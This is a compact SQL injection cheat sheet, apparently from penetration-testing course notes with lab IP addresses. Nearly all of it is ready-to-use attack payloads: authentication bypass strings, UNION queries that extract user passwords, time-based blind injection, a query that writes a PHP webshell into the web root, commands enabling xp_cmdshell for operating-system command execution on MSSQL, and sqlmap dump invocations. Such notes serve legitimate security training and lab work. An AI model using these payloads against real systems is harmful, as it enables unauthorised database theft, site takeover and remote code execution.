💉 SQL Injection

Types: Classic (data shown) · Error-based (data in errors) · Blind (use WAIT/SLEEP). Remember: anything can be blind.

Auth bypass

admin'#                                  -- comment out the rest
SELECT * FROM users WHERE user_name='offsec' OR 1=1 -- 
' or 1=1 in (SELECT password FROM users) -- //
' or 1=1 in (SELECT password FROM users WHERE username='admin') -- //
select @@version

UNION-based (column count & types must match)

' ORDER BY 1-- //                        -- increment to find column count
' union select null,table_name,column_name,table_schema,null
    from information_schema.columns where table_schema=database() -- //
' UNION SELECT null,username,password,description,null FROM users -- //
' union select 1,2,3,4,5,6 --                              -- PostgreSQL
' union select null,null,cast(current_user as int),null,null from pg_shadow

Unknown column '6' in 'order clause' → there are 5 columns.

UNION blind (time-based)

admin' UNION SELECT 1,2,3,4,5; WAITFOR DELAY '0:0:8'--+

Write a webshell via SQLi

' UNION SELECT "<?php system($_GET['cmd']);?>",null,null,null,null
    INTO OUTFILE "/var/www/html/webshell.php" -- //

MSSQL → OS command (xp_cmdshell)

-- connect: impacket-mssqlclient Administrator:Lab123@192.168.224.18 -windows-auth
SELECT name from sys.databases;
EXECUTE sp_configure 'show advanced options',1; RECONFIGURE;--
EXECUTE sp_configure 'xp_cmdshell',1; RECONFIGURE;--
EXECUTE xp_cmdshell 'whoami';--

Automated — sqlmap

sqlmap -u "http://192.168.219.19/blindsqli.php?user=1" -p user --dump
sqlmap -r request.txt --dbms=mysql --dump      # from a saved Burp request

References: Auth bypass cheat sheet · Owning a machine via xp_cmdshell. Related services: 3306-mysql, 5432-postgres.